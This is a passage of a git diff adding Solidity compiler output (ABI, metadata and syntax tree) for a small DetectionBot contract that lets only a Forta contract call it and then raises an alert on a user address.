202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49201,"nodeType":"FunctionDefinition","src":"324:43:41","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"333:10:41","parameters":{"id":49199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49198,"mutability":"mutable","name":"user","nameLocation":"352:4:41","nodeType":"VariableDeclaration","scope":49201,"src":"344:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49197,"name":"address","nodeType":"ElementaryTypeName","src":"344:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"343:14:41"},"returnParameters":{"id":49200,"nodeType":"ParameterList","parameters":[],"src":"366:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49202],"name":"IForta","nameLocation":"175:6:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49248,"nodeType":"ContractDefinition","src":"371:432:41","nodes":[{"id":49207,"nodeType":"VariableDeclaration","src":"416:27:41","nodes":[],"constant":false,"functionSelector":"f11476bc","mutability":"mutable","name":"fortaContract","nameLocation":"430:13:41","scope":49248,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"},"typeName":{"id":49206,"nodeType":"UserDefinedTypeName","pathNode":{"id":49205,"name":"IForta","nameLocations":["416:6:41"],"nodeType":"IdentifierPath","referencedDeclaration":49202,"src":"416:6:41"},"referencedDeclaration":49202,"src":"416:6:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"visibility":"public"},{"id":49219,"nodeType":"FunctionDefinition","src":"450:73:41","nodes":[],"body":{"id":49218,"nodeType":"Block","src":"477:46:41","nodes":[],"statements":[{"expression":{"id":49216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49212,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"487:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49214,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49209,"src":"510:5:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49213,"name":"IForta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49202,"src":"503:6:41","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IForta_$49202_$","typeString":"type(contract IForta)"}},"id":49215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"503:13:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"src":"487:29:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49217,"nodeType":"ExpressionStatement","src":"487:29:41"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49210,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49209,"mutability":"mutable","name":"forta","nameLocation":"470:5:41","nodeType":"VariableDeclaration","scope":49219,"src":"462:13:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49208,"name":"address","nodeType":"ElementaryTypeName","src":"462:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"461:15:41"},"returnParameters":{"id":49211,"nodeType":"ParameterList","parameters":[],"src":"477:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49247,"nodeType":"FunctionDefinition","src":"529:272:41","nodes":[],"body":{"id":49246,"nodeType":"Block","src":"610:191:41","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":49234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49228,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"684:3:41","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49229,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"688:6:41","memberName":"sender","nodeType":"MemberAccess","src":"684:10:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":49232,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"706:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}],"id":49231,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"698:7:41","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49230,"name":"address","nodeType":"ElementaryTypeName","src":"698:7:41","typeDescriptions":{}}},"id":49233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"698:22:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"684:36:41","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"556e617574686f72697a6564","id":49235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"722:14:41","typeDescriptions":{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""},"value":"Unauthorized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""}],"id":49227,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"676:7:41","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"676:61:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49237,"nodeType":"ExpressionStatement","src":"676:61:41"},{"expression":{"arguments":[{"id":49241,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49221,"src":"772:4:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49238,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"747:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"761:10:41","memberName":"raiseAlert","nodeType":"MemberAccess","referencedDeclaration":49201,"src":"747:24:41","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49242,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"747:30:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49243,"nodeType":"ExpressionStatement","src":"747:30:41"},{"expression":{"id":49244,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49223,"src":"787:7:41","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"id":49245,"nodeType":"ExpressionStatement","src":"787:7:41"}]},"baseFunctions":[49183],"functionSelector":"220ab6aa","implemented":true,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"538:17:41","overrides":{"id":49225,"nodeType":"OverrideSpecifier","overrides":[],"src":"601:8:41"},"parameters":{"id":49224,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49221,"mutability":"mutable","name":"user","nameLocation":"564:4:41","nodeType":"VariableDeclaration","scope":49247,"src":"556:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49220,"name":"address","nodeType":"ElementaryTypeName","src":"556:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49223,"mutability":"mutable","name":"msgData","nameLocation":"585:7:41","nodeType":"VariableDeclaration","scope":49247,"src":"570:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49222,"name":"bytes","nodeType":"ElementaryTypeName","src":"570:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"555:38:41"},"returnParameters":{"id":49226,"nodeType":"ParameterList","parameters":[],"src":"610:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":49203,"name":"IDetectionBot","nameLocations":["396:13:41"],"nodeType":"IdentifierPath","referencedDeclaration":49184,"src":"396:13:41"},"id":49204,"nodeType":"InheritanceSpecifier","src":"396:13:41"}],"canonicalName":"DetectionBot","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49248,49184],"name":"DetectionBot","nameLocation":"380:12:41","scope":49249,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":41} \ No newline at end of file diff --git a/contracts/out/DetectionBot.sol/IForta.json b/contracts/out/DetectionBot.sol/IForta.json new file mode 100644 index 000000000..cddda5638 --- /dev/null +++ b/contracts/out/DetectionBot.sol/IForta.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"notify","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"raiseAlert","inputs":[{"name":"user","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setDetectionBot","inputs":[{"name":"detectionBotAddress","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"notify(address,bytes)":"fa1fd28c","raiseAlert(address)":"087a43c1","setDetectionBot(address)":"9e927c68"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"notify\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"}],\"name\":\"raiseAlert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"detectionBotAddress\",\"type\":\"address\"}],\"name\":\"setDetectionBot\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/DetectionBot.sol\":\"IForta\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/DetectionBot.sol\":{\"keccak256\":\"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665\",\"dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"notify"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"raiseAlert"},{"inputs":[{"internalType":"address","name":"detectionBotAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setDetectionBot"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/DetectionBot.sol":"IForta"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/DetectionBot.sol":{"keccak256":"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75","urls":["bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665","dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/DetectionBot.sol","id":49249,"exportedSymbols":{"DetectionBot":[49248],"IDetectionBot":[49184],"IForta":[49202]},"nodeType":"SourceUnit","src":"32:772:41","nodes":[{"id":49176,"nodeType":"PragmaDirective","src":"32:23:41","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49184,"nodeType":"ContractDefinition","src":"57:106:41","nodes":[{"id":49183,"nodeType":"FunctionDefinition","src":"87:74:41","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"96:17:41","parameters":{"id":49181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49178,"mutability":"mutable","name":"user","nameLocation":"122:4:41","nodeType":"VariableDeclaration","scope":49183,"src":"114:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49177,"name":"address","nodeType":"ElementaryTypeName","src":"114:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49180,"mutability":"mutable","name":"msgData","nameLocation":"143:7:41","nodeType":"VariableDeclaration","scope":49183,"src":"128:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49179,"name":"bytes","nodeType":"ElementaryTypeName","src":"128:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"113:38:41"},"returnParameters":{"id":49182,"nodeType":"ParameterList","parameters":[],"src":"160:0:41"},"scope":49184,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49184],"name":"IDetectionBot","nameLocation":"67:13:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49202,"nodeType":"ContractDefinition","src":"165:204:41","nodes":[{"id":49189,"nodeType":"FunctionDefinition","src":"188:63:41","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"197:15:41","parameters":{"id":49187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49186,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"221:19:41","nodeType":"VariableDeclaration","scope":49189,"src":"213:27:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49185,"name":"address","nodeType":"ElementaryTypeName","src":"213:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"212:29:41"},"returnParameters":{"id":49188,"nodeType":"ParameterList","parameters":[],"src":"250:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49196,"nodeType":"FunctionDefinition","src":"256:63:41","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"265:6:41","parameters":{"id":49194,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49191,"mutability":"mutable","name":"user","nameLocation":"280:4:41","nodeType":"VariableDeclaration","scope":49196,"src":"272:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49190,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49193,"mutability":"mutable","name":"msgData","nameLocation":"301:7:41","nodeType":"VariableDeclaration","scope":49196,"src":"286:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49192,"name":"bytes","nodeType":"ElementaryTypeName","src":"286:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"271:38:41"},"returnParameters":{"id":49195,"nodeType":"ParameterList","parameters":[],"src":"318:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49201,"nodeType":"FunctionDefinition","src":"324:43:41","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"333:10:41","parameters":{"id":49199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49198,"mutability":"mutable","name":"user","nameLocation":"352:4:41","nodeType":"VariableDeclaration","scope":49201,"src":"344:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49197,"name":"address","nodeType":"ElementaryTypeName","src":"344:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"343:14:41"},"returnParameters":{"id":49200,"nodeType":"ParameterList","parameters":[],"src":"366:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49202],"name":"IForta","nameLocation":"175:6:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49248,"nodeType":"ContractDefinition","src":"371:432:41","nodes":[{"id":49207,"nodeType":"VariableDeclaration","src":"416:27:41","nodes":[],"constant":false,"functionSelector":"f11476bc","mutability":"mutable","name":"fortaContract","nameLocation":"430:13:41","scope":49248,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"},"typeName":{"id":49206,"nodeType":"UserDefinedTypeName","pathNode":{"id":49205,"name":"IForta","nameLocations":["416:6:41"],"nodeType":"IdentifierPath","referencedDeclaration":49202,"src":"416:6:41"},"referencedDeclaration":49202,"src":"416:6:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"visibility":"public"},{"id":49219,"nodeType":"FunctionDefinition","src":"450:73:41","nodes":[],"body":{"id":49218,"nodeType":"Block","src":"477:46:41","nodes":[],"statements":[{"expression":{"id":49216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49212,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"487:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49214,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49209,"src":"510:5:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49213,"name":"IForta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49202,"src":"503:6:41","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IForta_$49202_$","typeString":"type(contract IForta)"}},"id":49215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"503:13:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"src":"487:29:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49217,"nodeType":"ExpressionStatement","src":"487:29:41"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49210,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49209,"mutability":"mutable","name":"forta","nameLocation":"470:5:41","nodeType":"VariableDeclaration","scope":49219,"src":"462:13:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49208,"name":"address","nodeType":"ElementaryTypeName","src":"462:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"461:15:41"},"returnParameters":{"id":49211,"nodeType":"ParameterList","parameters":[],"src":"477:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49247,"nodeType":"FunctionDefinition","src":"529:272:41","nodes":[],"body":{"id":49246,"nodeType":"Block","src":"610:191:41","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":49234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49228,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"684:3:41","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49229,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"688:6:41","memberName":"sender","nodeType":"MemberAccess","src":"684:10:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":49232,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"706:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}],"id":49231,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"698:7:41","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49230,"name":"address","nodeType":"ElementaryTypeName","src":"698:7:41","typeDescriptions":{}}},"id":49233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"698:22:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"684:36:41","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"556e617574686f72697a6564","id":49235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"722:14:41","typeDescriptions":{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""},"value":"Unauthorized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""}],"id":49227,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"676:7:41","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"676:61:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49237,"nodeType":"ExpressionStatement","src":"676:61:41"},{"expression":{"arguments":[{"id":49241,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49221,"src":"772:4:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49238,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"747:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"761:10:41","memberName":"raiseAlert","nodeType":"MemberAccess","referencedDeclaration":49201,"src":"747:24:41","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49242,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"747:30:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49243,"nodeType":"ExpressionStatement","src":"747:30:41"},{"expression":{"id":49244,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49223,"src":"787:7:41","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"id":49245,"nodeType":"ExpressionStatement","src":"787:7:41"}]},"baseFunctions":[49183],"functionSelector":"220ab6aa","implemented":true,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"538:17:41","overrides":{"id":49225,"nodeType":"OverrideSpecifier","overrides":[],"src":"601:8:41"},"parameters":{"id":49224,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49221,"mutability":"mutable","name":"user","nameLocation":"564:4:41","nodeType":"VariableDeclaration","scope":49247,"src":"556:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49220,"name":"address","nodeType":"ElementaryTypeName","src":"556:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49223,"mutability":"mutable","name":"msgData","nameLocation":"585:7:41","nodeType":"VariableDeclaration","scope":49247,"src":"570:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49222,"name":"bytes","nodeType":"ElementaryTypeName","src":"570:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"555:38:41"},"returnParameters":{"id":49226,"nodeType":"ParameterList","parameters":[],"src":"610:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":49203,"name":"IDetectionBot","nameLocations":["396:13:41"],"